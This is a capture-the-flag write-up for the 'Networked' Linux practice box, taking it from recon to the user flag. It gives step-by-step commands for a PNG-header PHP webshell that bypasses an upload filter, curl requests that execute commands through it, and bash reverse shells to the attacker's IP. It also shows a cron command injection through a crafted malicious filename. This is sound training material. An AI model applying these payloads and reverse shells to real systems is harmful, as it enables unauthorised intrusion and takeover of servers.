Networked
An exposed source backup reveals an upload filter that trusts forged PNG magic bytes and only checks the trailing extension, so a shell.php.png webshell yields code execution as apache; a root cron job that feeds upload filenames straight into a shell exec() is then abused with a malicious filename to pivot to the guly user and the user flag.
Overview
Networked is an easy Linux box whose web root exposes a backup.tar of its own PHP source. Reading it shows an upload filter with two weak checks — a magic-byte MIME sniff and a suffix-only extension test — both of which a shell.php.png file defeats, giving execution as apache. From there a root cron job (check_attack.php) concatenates upload filenames into a shell exec() with no escaping, so a crafted filename injects a command and lands a shell as guly for the user flag. This post covers recon through user.
Machine Matrix
Source-backup enumeration exposes double-extension upload and a cron exec() injection requiring a hand-built polyglot webshell and crafted malicious filename; no CVE, custom-chaining is the standout.
Recon
| Port | Service | Notes |
|---|---|---|
| 22/tcp | OpenSSH 7.4 | default |
| 80/tcp | Apache 2.4.6 (CentOS), PHP/5.4.16 | “FaceMash” landing page |
1
2
nmap -p- --min-rate=1000 -T4 10.10.10.146
nmap -p22,80 -sC -sV 10.10.10.146
Port 80 shows a placeholder page (“Hello mate, we’re building the new FaceMash!”). Nothing else is interactive, so move to content discovery.
Enumeration
1
gobuster dir -u http://10.10.10.146/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x php
1
2
3
4
5
6
/index.php (Status: 200)
/uploads (Status: 301)
/photos.php (Status: 200)
/upload.php (Status: 200)
/lib.php (Status: 200)
/backup (Status: 301)
upload.php accepts files and photos.php displays them, but the prize is /backup — it holds a tar archive of the application source:
1
2
wget http://10.10.10.146/backup/backup.tar
tar xvf backup.tar # index.php lib.php photos.php upload.php
Reading upload.php and lib.php reveals the two flaws that chain together:
- MIME check by magic bytes.
check_file_type()callsmime_content_type(), which infers the type from the file’s leading bytes — fully attacker-controlled. Prepend a PNG header and it reportsimage/png. - Suffix-only extension check. The allow-list uses
substr_compare($name, $ext, -strlen($ext)), which only verifies the name ends in.jpg/.png/.gif/.jpeg. It never rejects an extra extension earlier in the name, soshell.php.pngpasses — and Apache happily executes the.phppart.
The stored filename is derived from REMOTE_ADDR with dots replaced by underscores, plus the original extension — so an upload from 10.10.14.2 becomes 10_10_14_2.php.png.
Foothold
1 — Build a polyglot webshell. Start the file with the PNG magic bytes (89 50 4E 47 0D 0A 1A 0A), then append a PHP one-liner:
1
2
printf '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a' > mime_shell.php.png
printf '<?php system($_REQUEST["cmd"]); ?>' >> mime_shell.php.png
2 — Upload and confirm RCE. The MIME sniff sees PNG, the extension check sees .png, and the file is saved under /uploads/ with a .php.png name that Apache executes:
1
2
3
curl -s -F "myFile=@mime_shell.php.png" -F "submit=go!" http://10.10.10.146/upload.php
curl -s "http://10.10.10.146/uploads/10_10_14_2.php.png?cmd=id"
# -> uid=48(apache) gid=48(apache) groups=48(apache)
3 — Reverse shell as apache.
1
2
3
rlwrap nc -lvnp 1234
curl -G --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.14.2/1234 0>&1"' \
http://10.10.10.146/uploads/10_10_14_2.php.png
4 — Pivot to guly via cron command injection. In /home/guly there is a cron file and a script:
1
cat /home/guly/crontab.guly /home/guly/check_attack.php
crontab.guly runs php /home/guly/check_attack.php every 3 minutes (as guly). That script scans /var/www/html/uploads/ and deletes “invalid” files by concatenating the filename straight into a shell command:
1
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
$value (the filename) is never escaped, so a filename starting with ; terminates the rm and runs whatever follows. / is illegal in filenames, so base64-encode the payload and decode it inline. Create the malicious file from the apache shell and wait for the cron:
1
2
3
echo 'bash -c "bash -i >/dev/tcp/10.10.14.2/4444 0>&1"' | base64
cd /var/www/html/uploads
touch -- ';echo <BASE64_PAYLOAD>| base64 -d | bash'
1
2
3
4
nc -lvnp 4444
# Connection from 10.10.10.146 ...
# uid=1000(guly) gid=1000(guly) groups=1000(guly)
python -c "import pty;pty.spawn('/bin/bash')"
User flag
The cron payload returns a shell as guly, who owns the user flag:
1
2
cat /home/guly/user.txt
# [redacted]
Command execution as guly and the user flag are ours.
Privilege escalation (the sudo changename.sh ifcfg network-scripts injection to root) is left as an exercise — this post stops at user.